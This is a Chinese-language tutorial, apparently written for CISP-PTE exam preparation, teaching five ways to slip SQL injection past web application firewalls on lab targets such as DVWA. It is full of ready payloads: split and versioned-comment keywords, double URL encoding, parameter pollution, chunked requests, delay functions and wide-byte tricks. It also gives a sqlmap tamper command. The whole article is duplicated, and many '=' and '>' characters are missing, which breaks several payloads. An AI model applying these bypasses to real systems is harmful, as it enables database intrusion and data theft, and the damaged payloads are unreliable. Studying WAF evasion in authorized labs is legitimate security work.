1. 项目概述当SQL注入遇上WAF这道墙在渗透测试和CISP-PTE这类认证考试中SQL注入是绕不开的经典课题。但如今一个光秃秃的‘ or 11--扔出去十有八九会撞上Web应用防火墙WAF这堵墙返回一个冷冰冰的“403 Forbidden”或是“您的请求疑似攻击行为”。很多新手甚至一些有经验的朋友在遇到WAF时容易懵觉得无从下手。其实WAF并非铜墙铁壁它更像一个有着固定检查流程的安检门。这个项目的核心就是拆解这扇“安检门”的检查逻辑并分享五种在实战和备考中高频使用的绕过技巧。我们会结合像DVWA、Pikachu、SQLi-Labs这样的经典靶场进行演示让你不仅知道“怎么做”更理解“为什么能这么做”。无论你是正在备考CISP-PTE还是想深化Web安全实战能力这些绕过WAF的思路和手法都是必须掌握的硬核技能。2. 核心思路理解WAF的“安检规则”是绕过的第一步在尝试任何绕过技巧之前我们必须先建立起一个核心认知WAF的拦截是基于规则Rule的。它不是人工智能不会理解你请求的“意图”它只是机械地将你的输入与一系列已知的攻击特征正则表达式、字符串匹配、语法分析等进行比对。我们的所有绕过行为本质上都是在“欺骗”这套规则引擎。2.1 WAF的常见检测维度WAF的规则库通常从以下几个维度进行检测关键字/模式匹配这是最基础的一层。WAF会维护一个庞大的黑名单包含union select,sleep(,benchmark(,extractvalue(,updatexml(等敏感SQL关键字和函数。一旦你的请求中出现这些字符串就可能被拦截。语法/词法分析更高级的WAF会尝试解析SQL语句的语法结构。例如它会检查UNION前后查询的列数是否一致或者SELECT后面是否跟着FROM等来判断这是否是一条“结构完整”的恶意SQL。请求参数标准化为了对抗简单的编码绕过WAF会对接收到的参数进行解码和标准化处理。例如将%55NIONU的URL编码还原为UNION后再进行规则匹配。频率与行为异常连续发送大量相似的攻击载荷或短时间内触发大量错误可能会被WAF的异常行为模型判定为攻击从而暂时封锁IP。2.2 绕过的基本哲学变形与混淆基于上述检测原理我们的绕过思路可以归结为两个核心变形与混淆。变形改变攻击载荷的“样子”使其不匹配WAF的规则但被后端数据库解析时又能恢复原意。例如将UNION SELECT写成U/**/NION/**/SEL/**/ECT。混淆利用WAF与后端应用/数据库解析差异制造“理解偏差”。WAF可能用一种方式解析你的输入而数据库用了另一种这就产生了绕过空间。理解了这个基础框架我们就能系统地学习下面的五种技巧而不是死记硬背几个Payload。3. 五种实战绕过技巧详解与靶场演示我们将使用**DVWADamn Vulnerable Web Application**作为主要演示环境将其安全级别设置为“Low”以模拟存在漏洞但无强过滤的场景然后在“Medium”或“High”级别或配合简单WAF规则来演示绕过。同时会提及这些技巧在Pikachu、SQLi-Labs等靶场中的适用场景。重要前提所有测试务必在授权靶场或个人实验环境中进行。未经授权的测试是违法行为。3.1 技巧一注释符与空白符混淆这是最基础、最常用的一种绕过方式主要针对基于关键字字符串匹配的WAF。原理在SQL语句中注释/**/,--,#和某些空白符如换行符%0a、制表符%09在语法解析时通常被忽略。但WAF的规则可能只匹配连续的关键字字符串。我们通过在关键字中间插入这些“无害”字符来打断WAF的匹配。实战Payload与演示假设DVWA的SQL注入点id参数存在基础关键字过滤拦截union select。原始攻击语句1‘ union select 1,2--绕过Payload1‘ uni/**/on sel/**/ect 1,2--或1‘ uni%0aon%0aselect 1,2--利用URL编码的换行符或1‘ uNiOn%0aSeLeCt 1,2--混合大小写部分简单WAF规则可能大小写敏感在靶场中的操作在DVWA的SQL Injection页面输入1‘进行基础测试确认存在注入。尝试输入1‘ union select 1,2--如果被拦截可能页面无响应或返回错误。改用1‘ uni/**/on sel/**/ect 1,2--提交观察是否能正常返回结果成功显示出1和2的位置。注意事项与心得/**/多行注释在MySQL中通常比--和#更可靠尤其是在URL中#常被当作锚点处理。插入的位置有讲究。不要破坏SQL语法例如un/**/ion是可行的但uni/**/on可能更好因为union是一个完整单词拆开它更能绕过针对完整单词的匹配。这是一个“试探性”技巧。通过不断变换插入注释符的位置和数量可以像“敲门”一样探测出WAF具体拦截的是哪个子串。3.2 技巧二等价函数与语句替换当某些关键函数如sleep(),substring()被直接封杀时我们可以寻找功能相同的“替身”。原理WAF的规则是具体的它可能拦截benchmark(1000000,md5(‘test‘))但未必拦截具有类似延时效果的pg_sleep(5)PostgreSQL或WAITFOR DELAY ‘0:0:5‘MSSQL。同样信息获取的函数也有多种选择。实战Payload与演示以时间盲注为例需要延时函数。MySQL环境被拦截1‘ and sleep(5)--绕过方案1使用BENCHMARK1‘ and benchmark(10000000,md5(‘test‘))--注意benchmark次数需要足够大才能产生明显延迟绕过方案2使用笛卡尔积延时1‘ and (select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c)0--通过大量连接查询制造延迟字符串截取/比较被拦截substring(database(),1,1)‘d‘绕过方案mid(database(),1,1)‘d‘或left(database(),1)‘d‘在靶场中的操作 在SQLi-Labs或Pikachu的时间盲注关卡如果发现sleep()被过滤可以尝试将注入脚本中的sleep(5)替换为benchmark(10000000,md5(‘a‘))观察响应时间是否显著增加从而判断注入是否成功。注意事项与心得数据库类型是关键。你必须清楚目标是什么数据库MySQL, MSSQL, PostgreSQL, Oracle因为等价函数在不同DBMS中差异巨大。信息收集阶段通过报错、端口扫描等手段判断数据库类型是首要任务。benchmark()的延时效果取决于硬件性能在本地虚拟机可能很明显在高性能服务器上可能不明显需要调整循环次数。笛卡尔积延时是一种“暴力”但有效的替代方案尤其在sleep和benchmark都被封杀时。但要注意可能对数据库造成较大压力。3.3 技巧三参数污染与多重编码这是利用HTTP请求处理链中各个环节解析差异的经典方法。原理一个请求参数可能经过WAF、Web服务器如Apache/Nginx、应用框架如PHP、Java Spring、最终SQL查询多个环节。每个环节对参数的解析、解码规则可能不同。我们通过构造“畸形”的参数让WAF看到的是一种“无害”的内容而应用后端解析后得到的却是攻击载荷。实战Payload与演示HPPHTTP参数污染原始请求/vuln.php?id1‘ union select 1,2--绕过请求/vuln.php?id1‘ /*id*/ union select 1,2--原理某些环境下如PHPApache当收到多个同名参数id时可能会取最后一个值... union select 1,2--而WAF可能只检查第一个id的值1‘ /*后者看起来像是一个未闭合的字符串加注释可能被规则放过。多重URL编码原始载荷union select一次编码%75%6e%69%6f%6e%20%73%65%6c%65%63%74二次编码对%本身编码%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574原理如果WAF只做一次URL解码它看到的是%75%6e...这一串“乱码”可能不匹配union select规则。但应用服务器如Tomcat可能会自动进行二次解码最终还原出union select。在靶场中的操作 在Burp Suite中捕获一个存在注入的请求例如GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit。对于HPP将请求修改为GET /dvwa/vulnerabilities/sqli/?id1‘ /*id*/ union select 1,2-- SubmitSubmit对于双重编码使用Burp的CtrlU快捷键对参数值进行快速编解码。先将union select编码一次得到%75%6e%69%6f%6e%20%73%65%6c%65%63%74再对这个结果里的每一个%字符编码为%25形成最终Payload。注意事项与心得这种方法成功率高度依赖于目标栈的具体实现。它没有通用性但一旦成功往往能绕过很强大的WAF。在测试时配合Burp Suite的Intruder模块使用预定义的“Fuzzing - 多重编码”字典进行爆破是高效的探测方式。时刻关注应用的报错信息。有时编码错误会导致语法错误从报错信息中可以反推服务器是如何解析你的输入的。3.4 技巧四分块传输与协议层绕过这是一种更高级的技巧针对的是WAF在HTTP协议层面的处理逻辑。原理一些WAF为了性能可能不会完整解析Transfer-Encoding: chunked这种分块传输的请求体或者对GET/POST请求的检查策略不同。我们可以通过改变HTTP请求方法、使用分块编码来“绕过”WAF的检测点。实战Payload与演示GET转POST场景一个注入点在GET参数中但WAF对GET请求检查严格对POST请求体检查宽松。操作用Burp将原本的GET /vuln.php?id1‘ and 11--改为POST /vuln.php并在Body中添加id1‘ and 11--。分块传输编码Chunked Transfer-Encoding这是更高级的技巧。在Burp Repeater中可以在请求头中添加Transfer-Encoding: chunked然后将请求体用分块格式发送。WAF可能因为不支持或不完整处理分块数据而无法有效检测载荷。一个简化的分块示例POST /target.php HTTP/1.1 Host: test.com Transfer-Encoding: chunked 6 //第一个块的长度十六进制 id1‘ //第一个块的内容 8 //第二个块的长度 and 11 //第二个块的内容 0 //长度0表示结束原理WAF可能将每个分块单独做检测id1‘和and 11分开看都不构成威胁但后端服务器会将其拼接成完整的id1‘ and 11。在靶场中的操作 这通常需要靶场环境具备接收POST请求的注入点。你可以在DVWA的“SQL Injection (Blind)”关卡进行测试该关卡通常使用POST方式。用Burp抓取请求后尝试在Repeater中修改或添加Transfer-Encoding: chunked头并使用扩展如“Burp Suite Chunked Encoding Converter”来方便地生成分块数据。注意事项与心得分块传输绕过对WAF的要求较高现代云WAF如阿里云WAF、腾讯云WAF大多能很好地处理分块请求。但在一些老旧或自定义的WAF上可能仍有奇效。这种方法可能改变应用处理请求的方式导致正常功能出错。测试时需要仔细比对正常请求与分块请求的响应差异。这是CISP-PTE等考试中可能涉及的高级考点理解其原理比记忆Payload更重要。3.5 技巧五利用数据库特性与非常规语法每种数据库都有其独特的语法和特性这些特性可能成为绕过WAF的“秘密通道”。原理WAF的通用规则集可能无法覆盖所有数据库特有的、晦涩的语法。利用这些特性我们可以构造出“合法”但对WAF来说很“陌生”的SQL语句。实战Payload与演示MySQL注释符的另类用法/*!50000union*/ select或/*!union*/ select原理在MySQL中/*! ... */是一种特殊注释其中的内容在MySQL版本号大于或等于指定值这里是50000即5.00.00时会被当作SQL执行。这可以用来“隐藏”关键字。许多WAF的规则可能不会深入解析这种条件注释内部的内容。内联注释与版本特性/*!union*//*!select*/ 1,2甚至更混淆的U/*!00000nion*/ SE/*!00000lect*/ 1,2利用字符串连接与十六进制编码假设select被过滤我们可以用concat(‘sel‘,‘ect‘)-‘sel‘ ‘ect‘(在某些上下文)或者使用十六进制0x73656c656374就是select的十六进制。Payload如union 0x73656c656374 1,2。但注意这通常用于代替字符串字面量而不是关键字本身。更常见的用法是将要查询的数据转换为十六进制避免引号被过滤union select column_name from information_schema.columns where table_name0x75736572730x7573657273 ‘users‘。在靶场中的操作 在Pikachu靶场的SQL注入关卡中尝试各种过滤。当发现union select被直接拦截时可以尝试输入1‘ /*!50000union*/ /*!50000select*/ 1,2,3--观察是否能够绕过过滤并正常显示数据。注意事项与心得这种方法需要对特定数据库的语法有深入了解。在不确定数据库类型时盲目尝试效率很低。十六进制编码在绕过“引号”过滤时极其有用是必会技巧。当注入点处引号被转义或过滤时将表名、列名转换为十六进制往往能一击即中。条件注释/*! ... */在MySQL中非常强大也是很多SQL注入工具如sqlmap的tamper脚本如versionedmorekeywords.py会采用的技术。4. 综合实战在模拟WAF环境中进行系统化测试掌握了单个技巧后我们需要在更接近真实的环境中进行综合演练。我们可以通过配置Web服务器如Nginx的简单规则或使用ModSecurity等开源WAF来模拟一个具有基础防护的环境。4.1 搭建一个简单的测试环境以Nginx Lua为例需要安装ngx_http_lua_module我们可以写一个简单的WAF规则拦截包含union select的请求location /vuln { access_by_lua_block { local args ngx.req.get_uri_args() for key, val in pairs(args) do if type(val) string and ngx.re.match(val, union[\\s\\/\\*]select, i) then ngx.exit(403) -- 返回403禁止访问 end end } proxy_pass http://your_dvwa_backend; # 代理到后端的DVWA }这个规则会检查URL参数中是否出现union和select中间允许有空格、注释符/*不区分大小写。4.2 系统化绕过测试流程面对这样一个WAF我们可以按照以下步骤进行测试信息收集与规则探测发送id1‘看是否返回SQL错误。确认注入点。发送id1‘ union select 1,2--确认被WAF拦截返回403。发送id1‘ uni on sel ect 1,2--中间加多个空格看是否拦截。如果不拦截说明规则是匹配连续字符串union select对空格不敏感或规则写得不好。发送id1‘ uni/**/on sel/**/ect 1,2--测试注释符绕过。如果成功说明WAF没有对输入进行规范化处理去除注释。组合技巧构造最终Payload假设注释符绕过成功但WAF升级了规则也过滤了/**/。我们可以尝试大小写混合uNiOn SeLeCt等价替换如果只是select被过滤尝试用concat或子查询代替部分功能不这里主要是关键字绕过。可以尝试/*!50000select*/。参数污染id1‘ /*id*/union select 1,2--将最有效的几种方法组合id1‘ /*id*/ /*!50000uNiOn*/ /*!50000SeLeCt*/ 1,2--自动化工具辅助在真实渗透测试中可以使用sqlmap的--tamper参数来自动化尝试绕过。例如sqlmap -u http://target.com/vuln.php?id1 --tamperspace2comment,randomcasespace2comment.py将空格替换为/**/randomcase.py随机大小写但切记在CISP-PTE考试或某些CTF比赛中可能需要手工构造工具只是辅助思路。4.3 常见问题与排查实录在实际绕过过程中你肯定会遇到各种意外情况。下面是一些典型问题及排查思路问题现象可能原因排查思路与解决方案Payload明明在本地测试成功到目标上却返回500错误1. 目标数据库类型不同。2. 目标PHP/Java配置如magic_quotes_gpc开启了特殊字符转义。3. 中间件如Nginx有额外的过滤或长度限制。1. 重新确认数据库类型通过报错、端口、默认页面。2. 尝试使用十六进制编码代替所有引号内的字符串。3. 简化Payload分步测试确定是哪个部分触发了500错误。输入任何带有单引号‘的字符都被拦截WAF可能有非常严格的非法字符过滤策略直接拦截了单引号、双引号、反斜杠等。1. 尝试无引号注入利用数字型注入点或通过ord()、ascii()函数逐字符比较避免使用引号。2. 尝试宽字节注入如果数据库是MySQL且使用GBK等宽字符集输入%df‘%df与转义符\%5c结合可能形成合法汉字从而吃掉转义符。使用/**/注释符后SQL语句执行错误1. 注释符位置破坏了SQL语法如order/**/by是OK的但ord/**/er by可能出错。2. 目标数据库不支持/**/注释极少数情况。1. 使用Burp的Intruder对关键字进行位置迭代系统地测试在哪个位置插入注释符既能绕过WAF又不破坏语法。2. 尝试使用--注意后面有空格或#进行注释。时间盲注Payload执行了但没有观察到明显延迟1.benchmark()或笛卡尔积产生的延迟不够。2. 网络波动掩盖了延迟。3. 应用设置了脚本超时时间长时间查询被中断。1. 显著增加benchmark的次数或增加笛卡尔积的表数量。2. 使用差分时间判断对比id1‘ and if(11,sleep(5),0)和id1‘ and if(12,sleep(5),0)的响应时间差。如果两者时间都长可能是网络问题如果只有前者长说明注入成功。3. 尝试使用更短的延时如sleep(2)多次请求取平均。我个人在实际操作中的体会是绕过WAF没有“银弹”。它更像是一场与规则工程师的博弈。最有效的方法是系统性的探测和灵活的组合。从最简单的注释符开始逐步尝试大小写、编码、等价替换并仔细观察每一次请求与响应的差异。每一次“被拦截”和“成功绕过”都在告诉你WAF规则的一点点秘密。把这些信息拼凑起来你就能找到那条穿墙而过的缝隙。在CISP-PTE的备考中除了练习这些技巧更重要的是培养这种分析、试探、验证的思维流程这才是应对万变题目的核心能力。
WAF绕过实战:5种SQL注入技巧与靶场演示
发布时间:2026/7/7 20:18:10
1. 项目概述当SQL注入遇上WAF这道墙在渗透测试和CISP-PTE这类认证考试中SQL注入是绕不开的经典课题。但如今一个光秃秃的‘ or 11--扔出去十有八九会撞上Web应用防火墙WAF这堵墙返回一个冷冰冰的“403 Forbidden”或是“您的请求疑似攻击行为”。很多新手甚至一些有经验的朋友在遇到WAF时容易懵觉得无从下手。其实WAF并非铜墙铁壁它更像一个有着固定检查流程的安检门。这个项目的核心就是拆解这扇“安检门”的检查逻辑并分享五种在实战和备考中高频使用的绕过技巧。我们会结合像DVWA、Pikachu、SQLi-Labs这样的经典靶场进行演示让你不仅知道“怎么做”更理解“为什么能这么做”。无论你是正在备考CISP-PTE还是想深化Web安全实战能力这些绕过WAF的思路和手法都是必须掌握的硬核技能。2. 核心思路理解WAF的“安检规则”是绕过的第一步在尝试任何绕过技巧之前我们必须先建立起一个核心认知WAF的拦截是基于规则Rule的。它不是人工智能不会理解你请求的“意图”它只是机械地将你的输入与一系列已知的攻击特征正则表达式、字符串匹配、语法分析等进行比对。我们的所有绕过行为本质上都是在“欺骗”这套规则引擎。2.1 WAF的常见检测维度WAF的规则库通常从以下几个维度进行检测关键字/模式匹配这是最基础的一层。WAF会维护一个庞大的黑名单包含union select,sleep(,benchmark(,extractvalue(,updatexml(等敏感SQL关键字和函数。一旦你的请求中出现这些字符串就可能被拦截。语法/词法分析更高级的WAF会尝试解析SQL语句的语法结构。例如它会检查UNION前后查询的列数是否一致或者SELECT后面是否跟着FROM等来判断这是否是一条“结构完整”的恶意SQL。请求参数标准化为了对抗简单的编码绕过WAF会对接收到的参数进行解码和标准化处理。例如将%55NIONU的URL编码还原为UNION后再进行规则匹配。频率与行为异常连续发送大量相似的攻击载荷或短时间内触发大量错误可能会被WAF的异常行为模型判定为攻击从而暂时封锁IP。2.2 绕过的基本哲学变形与混淆基于上述检测原理我们的绕过思路可以归结为两个核心变形与混淆。变形改变攻击载荷的“样子”使其不匹配WAF的规则但被后端数据库解析时又能恢复原意。例如将UNION SELECT写成U/**/NION/**/SEL/**/ECT。混淆利用WAF与后端应用/数据库解析差异制造“理解偏差”。WAF可能用一种方式解析你的输入而数据库用了另一种这就产生了绕过空间。理解了这个基础框架我们就能系统地学习下面的五种技巧而不是死记硬背几个Payload。3. 五种实战绕过技巧详解与靶场演示我们将使用**DVWADamn Vulnerable Web Application**作为主要演示环境将其安全级别设置为“Low”以模拟存在漏洞但无强过滤的场景然后在“Medium”或“High”级别或配合简单WAF规则来演示绕过。同时会提及这些技巧在Pikachu、SQLi-Labs等靶场中的适用场景。重要前提所有测试务必在授权靶场或个人实验环境中进行。未经授权的测试是违法行为。3.1 技巧一注释符与空白符混淆这是最基础、最常用的一种绕过方式主要针对基于关键字字符串匹配的WAF。原理在SQL语句中注释/**/,--,#和某些空白符如换行符%0a、制表符%09在语法解析时通常被忽略。但WAF的规则可能只匹配连续的关键字字符串。我们通过在关键字中间插入这些“无害”字符来打断WAF的匹配。实战Payload与演示假设DVWA的SQL注入点id参数存在基础关键字过滤拦截union select。原始攻击语句1‘ union select 1,2--绕过Payload1‘ uni/**/on sel/**/ect 1,2--或1‘ uni%0aon%0aselect 1,2--利用URL编码的换行符或1‘ uNiOn%0aSeLeCt 1,2--混合大小写部分简单WAF规则可能大小写敏感在靶场中的操作在DVWA的SQL Injection页面输入1‘进行基础测试确认存在注入。尝试输入1‘ union select 1,2--如果被拦截可能页面无响应或返回错误。改用1‘ uni/**/on sel/**/ect 1,2--提交观察是否能正常返回结果成功显示出1和2的位置。注意事项与心得/**/多行注释在MySQL中通常比--和#更可靠尤其是在URL中#常被当作锚点处理。插入的位置有讲究。不要破坏SQL语法例如un/**/ion是可行的但uni/**/on可能更好因为union是一个完整单词拆开它更能绕过针对完整单词的匹配。这是一个“试探性”技巧。通过不断变换插入注释符的位置和数量可以像“敲门”一样探测出WAF具体拦截的是哪个子串。3.2 技巧二等价函数与语句替换当某些关键函数如sleep(),substring()被直接封杀时我们可以寻找功能相同的“替身”。原理WAF的规则是具体的它可能拦截benchmark(1000000,md5(‘test‘))但未必拦截具有类似延时效果的pg_sleep(5)PostgreSQL或WAITFOR DELAY ‘0:0:5‘MSSQL。同样信息获取的函数也有多种选择。实战Payload与演示以时间盲注为例需要延时函数。MySQL环境被拦截1‘ and sleep(5)--绕过方案1使用BENCHMARK1‘ and benchmark(10000000,md5(‘test‘))--注意benchmark次数需要足够大才能产生明显延迟绕过方案2使用笛卡尔积延时1‘ and (select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c)0--通过大量连接查询制造延迟字符串截取/比较被拦截substring(database(),1,1)‘d‘绕过方案mid(database(),1,1)‘d‘或left(database(),1)‘d‘在靶场中的操作 在SQLi-Labs或Pikachu的时间盲注关卡如果发现sleep()被过滤可以尝试将注入脚本中的sleep(5)替换为benchmark(10000000,md5(‘a‘))观察响应时间是否显著增加从而判断注入是否成功。注意事项与心得数据库类型是关键。你必须清楚目标是什么数据库MySQL, MSSQL, PostgreSQL, Oracle因为等价函数在不同DBMS中差异巨大。信息收集阶段通过报错、端口扫描等手段判断数据库类型是首要任务。benchmark()的延时效果取决于硬件性能在本地虚拟机可能很明显在高性能服务器上可能不明显需要调整循环次数。笛卡尔积延时是一种“暴力”但有效的替代方案尤其在sleep和benchmark都被封杀时。但要注意可能对数据库造成较大压力。3.3 技巧三参数污染与多重编码这是利用HTTP请求处理链中各个环节解析差异的经典方法。原理一个请求参数可能经过WAF、Web服务器如Apache/Nginx、应用框架如PHP、Java Spring、最终SQL查询多个环节。每个环节对参数的解析、解码规则可能不同。我们通过构造“畸形”的参数让WAF看到的是一种“无害”的内容而应用后端解析后得到的却是攻击载荷。实战Payload与演示HPPHTTP参数污染原始请求/vuln.php?id1‘ union select 1,2--绕过请求/vuln.php?id1‘ /*id*/ union select 1,2--原理某些环境下如PHPApache当收到多个同名参数id时可能会取最后一个值... union select 1,2--而WAF可能只检查第一个id的值1‘ /*后者看起来像是一个未闭合的字符串加注释可能被规则放过。多重URL编码原始载荷union select一次编码%75%6e%69%6f%6e%20%73%65%6c%65%63%74二次编码对%本身编码%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574原理如果WAF只做一次URL解码它看到的是%75%6e...这一串“乱码”可能不匹配union select规则。但应用服务器如Tomcat可能会自动进行二次解码最终还原出union select。在靶场中的操作 在Burp Suite中捕获一个存在注入的请求例如GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit。对于HPP将请求修改为GET /dvwa/vulnerabilities/sqli/?id1‘ /*id*/ union select 1,2-- SubmitSubmit对于双重编码使用Burp的CtrlU快捷键对参数值进行快速编解码。先将union select编码一次得到%75%6e%69%6f%6e%20%73%65%6c%65%63%74再对这个结果里的每一个%字符编码为%25形成最终Payload。注意事项与心得这种方法成功率高度依赖于目标栈的具体实现。它没有通用性但一旦成功往往能绕过很强大的WAF。在测试时配合Burp Suite的Intruder模块使用预定义的“Fuzzing - 多重编码”字典进行爆破是高效的探测方式。时刻关注应用的报错信息。有时编码错误会导致语法错误从报错信息中可以反推服务器是如何解析你的输入的。3.4 技巧四分块传输与协议层绕过这是一种更高级的技巧针对的是WAF在HTTP协议层面的处理逻辑。原理一些WAF为了性能可能不会完整解析Transfer-Encoding: chunked这种分块传输的请求体或者对GET/POST请求的检查策略不同。我们可以通过改变HTTP请求方法、使用分块编码来“绕过”WAF的检测点。实战Payload与演示GET转POST场景一个注入点在GET参数中但WAF对GET请求检查严格对POST请求体检查宽松。操作用Burp将原本的GET /vuln.php?id1‘ and 11--改为POST /vuln.php并在Body中添加id1‘ and 11--。分块传输编码Chunked Transfer-Encoding这是更高级的技巧。在Burp Repeater中可以在请求头中添加Transfer-Encoding: chunked然后将请求体用分块格式发送。WAF可能因为不支持或不完整处理分块数据而无法有效检测载荷。一个简化的分块示例POST /target.php HTTP/1.1 Host: test.com Transfer-Encoding: chunked 6 //第一个块的长度十六进制 id1‘ //第一个块的内容 8 //第二个块的长度 and 11 //第二个块的内容 0 //长度0表示结束原理WAF可能将每个分块单独做检测id1‘和and 11分开看都不构成威胁但后端服务器会将其拼接成完整的id1‘ and 11。在靶场中的操作 这通常需要靶场环境具备接收POST请求的注入点。你可以在DVWA的“SQL Injection (Blind)”关卡进行测试该关卡通常使用POST方式。用Burp抓取请求后尝试在Repeater中修改或添加Transfer-Encoding: chunked头并使用扩展如“Burp Suite Chunked Encoding Converter”来方便地生成分块数据。注意事项与心得分块传输绕过对WAF的要求较高现代云WAF如阿里云WAF、腾讯云WAF大多能很好地处理分块请求。但在一些老旧或自定义的WAF上可能仍有奇效。这种方法可能改变应用处理请求的方式导致正常功能出错。测试时需要仔细比对正常请求与分块请求的响应差异。这是CISP-PTE等考试中可能涉及的高级考点理解其原理比记忆Payload更重要。3.5 技巧五利用数据库特性与非常规语法每种数据库都有其独特的语法和特性这些特性可能成为绕过WAF的“秘密通道”。原理WAF的通用规则集可能无法覆盖所有数据库特有的、晦涩的语法。利用这些特性我们可以构造出“合法”但对WAF来说很“陌生”的SQL语句。实战Payload与演示MySQL注释符的另类用法/*!50000union*/ select或/*!union*/ select原理在MySQL中/*! ... */是一种特殊注释其中的内容在MySQL版本号大于或等于指定值这里是50000即5.00.00时会被当作SQL执行。这可以用来“隐藏”关键字。许多WAF的规则可能不会深入解析这种条件注释内部的内容。内联注释与版本特性/*!union*//*!select*/ 1,2甚至更混淆的U/*!00000nion*/ SE/*!00000lect*/ 1,2利用字符串连接与十六进制编码假设select被过滤我们可以用concat(‘sel‘,‘ect‘)-‘sel‘ ‘ect‘(在某些上下文)或者使用十六进制0x73656c656374就是select的十六进制。Payload如union 0x73656c656374 1,2。但注意这通常用于代替字符串字面量而不是关键字本身。更常见的用法是将要查询的数据转换为十六进制避免引号被过滤union select column_name from information_schema.columns where table_name0x75736572730x7573657273 ‘users‘。在靶场中的操作 在Pikachu靶场的SQL注入关卡中尝试各种过滤。当发现union select被直接拦截时可以尝试输入1‘ /*!50000union*/ /*!50000select*/ 1,2,3--观察是否能够绕过过滤并正常显示数据。注意事项与心得这种方法需要对特定数据库的语法有深入了解。在不确定数据库类型时盲目尝试效率很低。十六进制编码在绕过“引号”过滤时极其有用是必会技巧。当注入点处引号被转义或过滤时将表名、列名转换为十六进制往往能一击即中。条件注释/*! ... */在MySQL中非常强大也是很多SQL注入工具如sqlmap的tamper脚本如versionedmorekeywords.py会采用的技术。4. 综合实战在模拟WAF环境中进行系统化测试掌握了单个技巧后我们需要在更接近真实的环境中进行综合演练。我们可以通过配置Web服务器如Nginx的简单规则或使用ModSecurity等开源WAF来模拟一个具有基础防护的环境。4.1 搭建一个简单的测试环境以Nginx Lua为例需要安装ngx_http_lua_module我们可以写一个简单的WAF规则拦截包含union select的请求location /vuln { access_by_lua_block { local args ngx.req.get_uri_args() for key, val in pairs(args) do if type(val) string and ngx.re.match(val, union[\\s\\/\\*]select, i) then ngx.exit(403) -- 返回403禁止访问 end end } proxy_pass http://your_dvwa_backend; # 代理到后端的DVWA }这个规则会检查URL参数中是否出现union和select中间允许有空格、注释符/*不区分大小写。4.2 系统化绕过测试流程面对这样一个WAF我们可以按照以下步骤进行测试信息收集与规则探测发送id1‘看是否返回SQL错误。确认注入点。发送id1‘ union select 1,2--确认被WAF拦截返回403。发送id1‘ uni on sel ect 1,2--中间加多个空格看是否拦截。如果不拦截说明规则是匹配连续字符串union select对空格不敏感或规则写得不好。发送id1‘ uni/**/on sel/**/ect 1,2--测试注释符绕过。如果成功说明WAF没有对输入进行规范化处理去除注释。组合技巧构造最终Payload假设注释符绕过成功但WAF升级了规则也过滤了/**/。我们可以尝试大小写混合uNiOn SeLeCt等价替换如果只是select被过滤尝试用concat或子查询代替部分功能不这里主要是关键字绕过。可以尝试/*!50000select*/。参数污染id1‘ /*id*/union select 1,2--将最有效的几种方法组合id1‘ /*id*/ /*!50000uNiOn*/ /*!50000SeLeCt*/ 1,2--自动化工具辅助在真实渗透测试中可以使用sqlmap的--tamper参数来自动化尝试绕过。例如sqlmap -u http://target.com/vuln.php?id1 --tamperspace2comment,randomcasespace2comment.py将空格替换为/**/randomcase.py随机大小写但切记在CISP-PTE考试或某些CTF比赛中可能需要手工构造工具只是辅助思路。4.3 常见问题与排查实录在实际绕过过程中你肯定会遇到各种意外情况。下面是一些典型问题及排查思路问题现象可能原因排查思路与解决方案Payload明明在本地测试成功到目标上却返回500错误1. 目标数据库类型不同。2. 目标PHP/Java配置如magic_quotes_gpc开启了特殊字符转义。3. 中间件如Nginx有额外的过滤或长度限制。1. 重新确认数据库类型通过报错、端口、默认页面。2. 尝试使用十六进制编码代替所有引号内的字符串。3. 简化Payload分步测试确定是哪个部分触发了500错误。输入任何带有单引号‘的字符都被拦截WAF可能有非常严格的非法字符过滤策略直接拦截了单引号、双引号、反斜杠等。1. 尝试无引号注入利用数字型注入点或通过ord()、ascii()函数逐字符比较避免使用引号。2. 尝试宽字节注入如果数据库是MySQL且使用GBK等宽字符集输入%df‘%df与转义符\%5c结合可能形成合法汉字从而吃掉转义符。使用/**/注释符后SQL语句执行错误1. 注释符位置破坏了SQL语法如order/**/by是OK的但ord/**/er by可能出错。2. 目标数据库不支持/**/注释极少数情况。1. 使用Burp的Intruder对关键字进行位置迭代系统地测试在哪个位置插入注释符既能绕过WAF又不破坏语法。2. 尝试使用--注意后面有空格或#进行注释。时间盲注Payload执行了但没有观察到明显延迟1.benchmark()或笛卡尔积产生的延迟不够。2. 网络波动掩盖了延迟。3. 应用设置了脚本超时时间长时间查询被中断。1. 显著增加benchmark的次数或增加笛卡尔积的表数量。2. 使用差分时间判断对比id1‘ and if(11,sleep(5),0)和id1‘ and if(12,sleep(5),0)的响应时间差。如果两者时间都长可能是网络问题如果只有前者长说明注入成功。3. 尝试使用更短的延时如sleep(2)多次请求取平均。我个人在实际操作中的体会是绕过WAF没有“银弹”。它更像是一场与规则工程师的博弈。最有效的方法是系统性的探测和灵活的组合。从最简单的注释符开始逐步尝试大小写、编码、等价替换并仔细观察每一次请求与响应的差异。每一次“被拦截”和“成功绕过”都在告诉你WAF规则的一点点秘密。把这些信息拼凑起来你就能找到那条穿墙而过的缝隙。在CISP-PTE的备考中除了练习这些技巧更重要的是培养这种分析、试探、验证的思维流程这才是应对万变题目的核心能力。